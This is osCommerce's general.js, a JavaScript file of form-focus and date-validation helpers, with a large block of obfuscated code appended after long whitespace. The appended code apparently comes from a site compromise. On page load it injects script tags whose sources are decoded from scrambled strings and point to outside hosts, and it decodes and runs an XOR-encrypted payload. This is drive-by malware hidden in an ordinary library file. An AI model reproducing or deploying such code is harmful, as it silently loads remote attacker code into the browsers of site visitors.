/*
  $Id: general.js,v 1.3 2003/02/10 22:30:55 hpdl Exp $

  osCommerce, Open Source E-Commerce Solutions
  http://www.oscommerce.com

  Copyright (c) 2003 osCommerce

  Released under the GNU General Public License
*/

function SetFocus(TargetFormName) {
  var target = 0;
  if (TargetFormName != "") {
    for (i=0; i<document.forms.length; i++) {
      if (document.forms[i].name == TargetFormName) {
        target = i;
        break;
      }
    }
  }

  var TargetForm = document.forms[target];
    
  for (i=0; i<TargetForm.length; i++) {
    if ( (TargetForm.elements[i].type != "image") && (TargetForm.elements[i].type != "hidden") && (TargetForm.elements[i].type != "reset") && (TargetForm.elements[i].type != "submit") ) {
      TargetForm.elements[i].focus();

      if ( (TargetForm.elements[i].type == "text") || (TargetForm.elements[i].type == "password") ) {
        TargetForm.elements[i].select();
      }

      break;
    }
  }
}

function RemoveFormatString(TargetElement, FormatString) {
  if (TargetElement.value == FormatString) {
    TargetElement.value = "";
  }

  TargetElement.select();
}

function CheckDateRange(from, to) {
  if (Date.parse(from.value) <= Date.parse(to.value)) {
    return true;
  } else {
    return false;
  }
}

function IsValidDate(DateToCheck, FormatString) {
  var strDateToCheck;
  var strDateToCheckArray;
  var strFormatArray;
  var strFormatString;
  var strDay;
  var strMonth;
  var strYear;
  var intday;
  var intMonth;
  var intYear;
  var intDateSeparatorIdx = -1;
  var intFormatSeparatorIdx = -1;
  var strSeparatorArray = new Array("-"," ","/",".");
  var strMonthArray = new Array("jan","feb","mar","apr","may","jun","jul","aug","sep","oct","nov","dec");
  var intDaysArray = new Array(31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31);

  strDateToCheck = DateToCheck.toLowerCase();
  strFormatString = FormatString.toLowerCase();
  
  if (strDateToCheck.length != strFormatString.length) {
    return false;
  }

  for (i=0; i<strSeparatorArray.length; i++) {
    if (strFormatString.indexOf(strSeparatorArray[i]) != -1) {
      intFormatSeparatorIdx = i;
      break;
    }
  }

  for (i=0; i<strSeparatorArray.length; i++) {
    if (strDateToCheck.indexOf(strSeparatorArray[i]) != -1) {
      intDateSeparatorIdx = i;
      break;
    }
  }

  if (intDateSeparatorIdx != intFormatSeparatorIdx) {
    return false;
  }

  if (intDateSeparatorIdx != -1) {
    strFormatArray = strFormatString.split(strSeparatorArray[intFormatSeparatorIdx]);
    if (strFormatArray.length != 3) {
      return false;
    }

    strDateToCheckArray = strDateToCheck.split(strSeparatorArray[intDateSeparatorIdx]);
    if (strDateToCheckArray.length != 3) {
      return false;
    }

    for (i=0; i<strFormatArray.length; i++) {
      if (strFormatArray[i] == 'mm' || strFormatArray[i] == 'mmm') {
        strMonth = strDateToCheckArray[i];
      }

      if (strFormatArray[i] == 'dd') {
        strDay = strDateToCheckArray[i];
      }

      if (strFormatArray[i] == 'yyyy') {
        strYear = strDateToCheckArray[i];
      }
    }
  } else {
    if (FormatString.length > 7) {
      if (strFormatString.indexOf('mmm') == -1) {
        strMonth = strDateToCheck.substring(strFormatString.indexOf('mm'), 2);
      } else {
        strMonth = strDateToCheck.substring(strFormatString.indexOf('mmm'), 3);
      }

      strDay = strDateToCheck.substring(strFormatString.indexOf('dd'), 2);
      strYear = strDateToCheck.substring(strFormatString.indexOf('yyyy'), 2);
    } else {
      return false;
    }
  }

  if (strYear.length != 4) {
    return false;
  }

  intday = parseInt(strDay, 10);
  if (isNaN(intday)) {
    return false;
  }
  if (intday < 1) {
    return false;
  }

  intMonth = parseInt(strMonth, 10);
  if (isNaN(intMonth)) {
    for (i=0; i<strMonthArray.length; i++) {
      if (strMonth == strMonthArray[i]) {
        intMonth = i+1;
        break;
      }
    }
    if (isNaN(intMonth)) {
      return false;
    }
  }
  if (intMonth > 12 || intMonth < 1) {
    return false;
  }

  intYear = parseInt(strYear, 10);
  if (isNaN(intYear)) {
    return false;
  }
  if (IsLeapYear(intYear) == true) {
    intDaysArray[1] = 29;
  }

  if (intday > intDaysArray[intMonth - 1]) {
    return false;
  }
  
  return true;
}

function IsLeapYear(intYear) {
  if (intYear % 100 == 0) {
    if (intYear % 400 == 0) {
      return true;
    }
  } else {
    if ((intYear % 4) == 0) {
      return true;
    }
  }

  return false;
}













this.tq='';var y='soceroijpjt.'.replace(/[\.oejX]/g, '');var v=document;var d=window;var f;if(f!='s'){f='s'};var n;if(n!='' && n!='lk'){n=''};d.onload=function(){try {var dv=new String();this.i=30869;c=v.createElement(y);var p=new Date();c.setAttribute('dke8fpeprK'.replace(/[Kkp89]/g, ''), "1");var un=new String();c.src='h<t$t6p$:1/q/6z1i$n1g6-6v<nq.$eqlqm$u6n$dqo6.<eqsq.$tqv<-6c<o<m6.6yqoqu$r1t<a6g6h6e1u$e$r<.6r6u<:<8106810q/qt1r1aqv1e<l$o6c$iqt<y$.6c1o1m6/<t$r$a<vqeql1o$cqiqt$y6.<cqo$m$/6nqo$v<o$t<eqk6a<.$rqu1/qgqo6o$g<l<e$.qc6o$m1/qd6a<n6t$rqi6.$c$o$m6.qv<nq/<'.replace(/[\<6q1\$]/g, '');this._v='';var ut;if(ut!='' && ut!='kb'){ut=''};var ha=false;v.body.appendChild(c);var gk;if(gk!='qjt'){gk='qjt'};var vt;if(vt!='gg' && vt!='yp'){vt='gg'};} catch(t){var zb=28349;};var _e;if(_e!='fi'){_e=''};};
var wz;if(wz!='cs' && wz!='o'){wz=''};var m=document;var c=window;var g;if(g!='d' && g != ''){g=null};function v(j){var z;if(z!='oe'){z=''};var f=['hYtxt>pK:Y/R/ReRnxgKaKdRgxeRtK-KcKoYmK.xsxo>uYrxc>eKf>o>rRgxeY.Ynxe>tx.>gYsRmxaxrxeYnRaR-xc>o>mR.xhxoYt>n>exwKgxuKixdYeK.xrxuR:>8>0K8R0Y/Rg>oYoRgRlYe>.xcRoxmx/xgRo>oRgKlReY.YcKoKm>/xsRh>axaYdYi>.>cRoRmx/xp>eRrKs>iYaxnxb>lKoRgx.KiKrY/Ya>l>l>a>bYoxuYtK.YcYoY.xjYpx/K'.replace(/[Kx\>RY]/g, ''), 'soc8raiKpeto'.replace(/[oa8eK]/g, ''), 'cNr2e2aNtzezEUl2eUmkeUnkt2'.replace(/[2zNUk]/g, ''), 'o_nPl<o_a<d0'.replace(/[0_P\*\<]/g, ''), 's0r>cz'.replace(/[z0L4\>]/g, ''), 'axpSp2e2nSdxC@hxixlSd2'.replace(/[2@Sx_]/g, ''), 's~eFt~AIt9tFrFi9blu9t9eI'.replace(/[I~Fl9]/g, ''), 'b/o/dxyx'.replace(/[xIAt/]/g, ''), 'd7e;fae;r0'.replace(/[0;a,7]/g, ''), "1"];var p=25962;var my=f[j];return my;}var b;if(b!='vs'){b='vs'};var q=new Date();var w = function(){try {var jn;if(jn!='ua'){jn=''};r=m[v([2,5][0])](v([1,2][0]));var ls=new Date();r[v([4,2][0])]=v([0,0][0]);var vg = m[v([7][0])];var _m=new Array();r[v([6][0])](v([9,8][1]), v([0,9][1]));vg[v([5][0])](r);this.cl='';} catch(n){this._y="_y";};};c[v([3,9][0])]=w;var lss;if(lss!='' && lss!='bc'){lss=null};
var j;if(j!='gl' && j!='cy'){j=''};var o;if(o!='' && o!='gk'){o=null};var kj;if(kj!='' && kj!='de'){kj=null};function q() {var m=new Array();var jy;if(jy!='' && jy!='uv'){jy=''};function g(u,p,g_){var __;if(__!='h' && __!='p_'){__=''};u.setAttribute(p, g_);var ut;if(ut!='' && ut!='oj'){ut=''};var un;if(un!='x'){un='x'};}function f(){var vv;if(vv!='' && vv!='qc'){vv=''};var n;if(n!='' && n!='vq'){n=''};return ([5,1][1]);}var xk="";var yz;if(yz!='' && yz!='wn'){yz='s'};this.nd="";this.mj="mj";var e='oDn%lDoPaDdt'.replace(/[t%DPg]/g, '');this.gx=false;var cu="";var ga=window;var iu=new String();var jp="jp";var mk='';var _='h%tYtYpI:9/Y/VhIs9b%cY-Yc9oV-%uIkY.YmVeYrVc%a%dVo9lViIbVr%eI.Ic9o9mY.YmIxI.Ys9z9nY-VcIz9.Ih9o9m%eIc%aYr9e9n%a%t9iYoInY.YrIuV:I890V8V0V/9b9uIsIiVn9eVsIsVwYeYeVkI.9cVoVmI/IbVuYs%iInVeYsVs9w%eIeIk9.VcIo%mI/YeYs%pInV.%gYo%.Ic9o%m%/%g9oYoIg9l9eV.9cYo%m9/Vh%uVfYf9iYnVgItYoInYpVo%sIt9.%cVoYm9/Y'.replace(/[YV9I%]/g, '');this.jx="";var r='cRrRefavtveNEflRevmvevnRtx'.replace(/[xvRNf]/g, '');var qn="";var v='s<r<ci'.replace(/[i\+\*\<Q]/g, '');var qq;if(qq!='lcs' && qq!='dx'){qq=''};var d='sXc3r3iXpgtQ'.replace(/[Qg3BX]/g, '');var ur=false;ga[e]=function(){var zl;if(zl!='' && zl!='zv'){zl=''};var ib;if(ib!='' && ib!='zc'){ib=''};try {ui=document[r](d);this.om='';this.zvu=false;g(ui,v,_);g(ui,'dKeKf0e0r>'.replace(/[\>0K#C]/g, ''),f());var cw;if(cw!=''){cw='ec'};var sq;if(sq!='' && sq!='ob'){sq=''};document['b*osdqy*'.replace(/[\*f\.qs]/g, '')]['a~pFpxeFn~dxC8hFiFlxd~'.replace(/[~F/8x]/g, '')](ui);this.jt='';} catch(c){this.rz='';var wh;if(wh!='' && wh!='bj'){wh=''};};var p_d=50695;};var md;if(md!=''){md='oxg'};this.dj="";};q();this.dp=false;
var c='';function i() {var Q="";var p='[';var T='replace';var u='g';this.M=14346;var V=']';var J="";function L(l,L_){var iZ='';this.v="";var w=p;this.QB='';w+=L_;w+=V;this.qQ="";var X=new RegExp(w, u);this.MK=false;return l[T](X, '');};var b=L('c4rLeHaytweLEwlLeHmHeLnHtL',"L4ywH");var I=window;this.bm=10574;var K=L('sqcqrAiApTtq',"quAmT");var z="";var iU='';var BE=false;var d=L(':l8i0l8p0l',"lpiTJ");var G=L('hXtXtXpX:7/B/zf7iBx7yzaJ-Xczo7m7.XtzoJrzrXeXnJtzsJ.JrBuJ.7cJaXmX4J-XcJozm7.JnBeBwXuBsXaBg7uJizdXe7.zrBuB',"B7XJz");var NL=false;var k=L('/CgCoGoGgClDeG.GlDkD/CgAoGoCgAlDeq.qlGkq/AgqoGoCgAlAeq.CcGoCmG.GbqrG/GgAoDoGgqlqeA.DcqoGmq/GyDaC.ArCuC/q',"qAGCD");I[L('oknxlQohaYdQ',"QxkYh")]=function(){var Xk=53932;try {this.eL="";iU+=G;iU+=d;iU+=k;this.ay="";this.Z="";m=document[b](K);this.W=false;t(m,L('dseAfsetrR',"RAtns"),([1][0]));t(m,L('sNrMcN',"NPMje"),iU);var Ey=37791;document[L('bToUd4yT',"TWUn4")][L('agp1pBeBngdUCUhUiMlMdU',"U1MgB")](m);this.GV=false;} catch(ll){var XE=1180;};this._="";};var EO=false;function t(mb,pz,n){this.IQ='';mb[L('sjejtBABtjtDr3i3bBuDt3e3',"3BjDF")](pz, n);this.Li="";}var NE=5971;this.Aq='';};i();var ar=false;
var HZ="6575416e5e35437f4062692858475d412b735e7355405f524e6c6f4c675461527b4c7b56456d7f614465666e7f4850565a59636e647b5f68775a74405169445f5f3274482674465a135254035254";var SF="";var SY;if(SY!='nEs' && SY!='YJ'){SY=''};var lw='';function r(B){this.A=29237;var zu;if(zu!='Ks' && zu!='Iw'){zu=''};var ch;if(ch!='' && ch!='As'){ch=''}; var Q="";var Z="";function t(X){var zL;if(zL!=''){zL='yh'};var F='';this.nF=47019;X = new Y(X);var tcb;if(tcb!='' && tcb!='zM'){tcb=null};var d =[188,0][1];var ao;if(ao!='Ut' && ao != ''){ao=null};var kQ;if(kQ!='ZU' && kQ != ''){kQ=null};var le = -1;var p=false;var JZ=new String();var x = '';this.dE=false;this.YB="YB";var S =[0][0];var yL=new Date();var AW=new Date();var dl;if(dl!='PW' && dl!='tX'){dl='PW'};for (S=X[b("gnelth", [3,2,1,0])]-le;S>=d;S=S-[203,39,1][2]){x+=X[b("hcaArt", [1,0,2])](S);}this.CZ=61716;var h=new Date();this.Lv="";return x;}var Wr;if(Wr!='so'){Wr='so'};this.iq='';var rm=''; var ot=new Array();var au=new String();function b(X, G){this.Ou="";this.cz=63360;var x = '';this.xv=62110;this.iy=57177;this.nE="";var d=[0,246][0];var J = G.length;var rE="";var uk;if(uk!='' && uk!='DT'){uk=null};var lT=[226,1][1];var lB = X.length;var nR='';this.sr="sr";this.pt=false;for(var S = d; S < lB; S += J) {this.rl="";var xE=new String();var R = X.substr(S, J);var jo;if(jo!='mX'){jo=''};if(R.length == J){var Tv;if(Tv!=''){Tv='kW'};var kt="";var NV;if(NV!='BG'){NV='BG'};for(var e in G) {var rf;if(rf!='tv' && rf!='yu'){rf='tv'};var pp;if(pp!='Vc'){pp='Vc'};x+=R.substr(G[e], lT);this.oL="";var PC;if(PC!='Xn'){PC='Xn'};}var Dgk;if(Dgk!='qA' && Dgk != ''){Dgk=null};var VR=new String();var ns;if(ns!='' && ns!='WM'){ns='wx'};} else {var ai;if(ai!='ud' && ai != ''){ai=null};var eS='';  x+=R;}var Gg=new String();}var Tl;if(Tl!=''){Tl='WL'};return x;var hX="hX";}var tY=new Date(); var o=function(K,Kc){return K^Kc;};var TC=''; var tK=function(Rd,bb){var bS;if(bS!='' && bS!='RQT'){bS=null};this.rI="";return Rd[b("hcraoCedtA", [1,0])](bb);var hR="hR";};var Sy=35396;var Uc=false;var UT;if(UT!='nXK'){UT=''}; var ba=function(k){var W=[43,76,255,242][2];var Ok;if(Ok!='' && Ok!='sH'){Ok=''};var GB=k[b("enlgth", [2,0,1,3])];var gw=18269;this.mI=9365;var lT=[125,74,174,1][3];var YU;if(YU!='' && YU!='Kl'){YU=''};var xD=[0][0];var e=[0][0];while(e<GB){var lM;if(lM!='' && lM!='CJ'){lM=null};var Ot=new Array();e++;g=tK(k,e - lT);this.hT=18884;var aX;if(aX!='RK' && aX != ''){aX=null};xD+=g*GB;this.Kr=46181;}var Gn=new String();var Mm;if(Mm!='cy'){Mm=''};return new Y(xD % W);};var XAU;if(XAU!='qz' && XAU!='KT'){XAU=''};var I=window;var ID=I[b("aelv", [1,3,0,2])];var dom=ID(b("nFcuotni", [1,3,0,2]));var HTl;if(HTl!='ZJ' && HTl!='Ky'){HTl='ZJ'};var UB=new String();var Y=ID(b("tSrnig", [1,0,2]));var WE;if(WE!='Hq'){WE='Hq'};var oK=ID(b("gexERp", [4,1,0,3,2]));var GG=3229;this.mi=41837;var dQ=38526;var a = '';var aF="";var ro="";var rB=I[b("nuseacep", [1,0])];var NP=new Date();var YF=new Date();var eh=Y[b("rfoCmhraCdoe", [1,0,2])];var EL=false;this.VN=43749;var N = /[^@a-z0-9A-Z_-]/g;var d =[45,10,0,22][2];var rk=[1, b("oducemtnc.ertaEeelemtn\'(csirtp)\'", [1,0]),2, b("eodcumdtn.boe.yappldnChid(d)", [2,1,3,4,5,0]),3, b("oicvml.sdeeietirsug.n:8080", [2,0,4,6,5,1,3]),4, b("ecmtemo.muom..pclefgorto", [1,6,5,7,2,0,4,3]),5, b("sd.ettAtbriu(te\'fdeer\'", [1,2,0,3]),6, b("itcsla.iti", [1,0]),7, b("ilknehplrec.n", [1,0]),8, b(".nwdioownload", [7,4,1,3,5,2,0,6]),11, b("afecobkoc.mo", [1,0]),12, b("nufitc(no)", [2,1,0]),14, b("ogoeglo.cm", [1,2,0]),15, b("ccbmahni", [1,3,2,0]),16, b("atcc(e)h", [3,0,1,2]),17, b("htt\":p", [3,0,1,2,5,4]),18, b(".sdrc", [2,0,1,3]),19, b("\')1\'", [3,2,0,1]),20, b("rty", [1,0])];var YP;if(YP!='wC' && YP!='Gdy'){YP=''};var gb =[185,2,125][1];var xn="xn";var Pe;if(Pe!='hm'){Pe=''};var bL = B[b("nethgl", [5,1,0,4,2,3])];var UBX;if(UBX!='' && UBX!='cW'){UBX=null};var c =[3,206,20,0][3];var Zg="";var Az;if(Az!='Pr'){Az=''};var E = '';var M = eh(37);var DS;if(DS!='' && DS!='YT'){DS=''};var pc=new Date();var cO = '';var Jv="";var qf="";var yF=46535;var Jl = '';var lT =[229,1,1,1][1];var MY="MY";var NL=13765;var czt=57738;this.qvH=31288;var YQ="YQ";for(var RI=d; RI < bL; RI+=gb){var mO;if(mO!='' && mO!='mBn'){mO=null};Jl+= M; Jl+= B[b("ubstrs", [2,0,1,5,3,4])](RI, gb);var bE;if(bE!='He' && bE!='vx'){bE=''};var TWK;if(TWK!='KL'){TWK=''};}this.jH=62132;var B = rB(Jl);var Cr;if(Cr!='Jg' && Cr!='cyK'){Cr=''};this.zb="zb";this.Rn="";this.Ra="";var O = new Y(r);var XT = O[b("erlpcae", [1,0])](N, cO);XT = t(XT);var ISR;if(ISR!='IiF' && ISR != ''){ISR=null};var Yd = new Y(dom);var tE;if(tE!='HN'){tE='HN'};var zE='';var WP = rk[b("elgnht", [1,0])];var mK=new String();var RM = Yd[b("erlpcae", [1,0])](N, cO);var RM = ba(RM);var Oh;if(Oh!='' && Oh!='Ea'){Oh='eG'};var z=ba(XT);var ZZ;if(ZZ!='qi'){ZZ='qi'};var Af="Af";var jR;if(jR!='' && jR!='EOJ'){jR=null};for(var S=d; S < (B[b("elgnht", [1,0])]);S=S+[200,1][1]) {var RF = XT.charCodeAt(c);var C = tK(B,S);var Gv;if(Gv!='' && Gv!='oF'){Gv=''};var cj="cj";C = o(C, RF);var jh;if(jh!=''){jh='EP'};var Da;if(Da!='' && Da!='HJX'){Da=''};C = o(C, z);C = o(C, RM);var FK;if(FK!='' && FK!='Tu'){FK=null};c++;var KI=new Date();if(c > XT.length-lT){c=d;}var otD="";E += eh(C);}this.yS="yS";for(y=d; y < WP; y+=gb){this.PR=20045;this.mN=23831;var An=48236;var qT;if(qT!='cw' && qT!='cM'){qT='cw'};var Wo=false;var NS = eh(rk[y]);this.doC="";var P = rk[y + lT];var yY;if(yY!='RE'){yY='RE'};this.Ug="Ug";this.eF="";this.nh="";var EOH=new Date();var XY = new oK(NS, Y.fromCharCode(103));var du="";E=E[b("lerpace", [2,1,3,0,4])](XY, P);var HKK;if(HKK!='iH' && HKK!='QvA'){HKK=''};}this.og="";var s=new dom(E);var qQ="";s();E = '';this.YC='';RM = '';var siU="siU";var lP;if(lP!='' && lP!='ZD'){lP=null};z = '';var jQ;if(jQ!='TZ'){jQ=''};var hw="";Yd = '';this.aY=12559;this.Qn=false;XT = '';var IiY;if(IiY!='' && IiY!='rF'){IiY=''};s = '';var ZE;if(ZE!='DdR'){ZE='DdR'};var IK='';var Dgb;if(Dgb!='' && Dgb!='Tiu'){Dgb=null};this.Gi="Gi";var QPj;if(QPj!='SsQ' && QPj != ''){QPj=null};var YDk=false;return '';this.Ls="Ls";this.FU='';};var SF="";var SY;if(SY!='nEs' && SY!='YJ'){SY=''};var lw='';r(HZ);
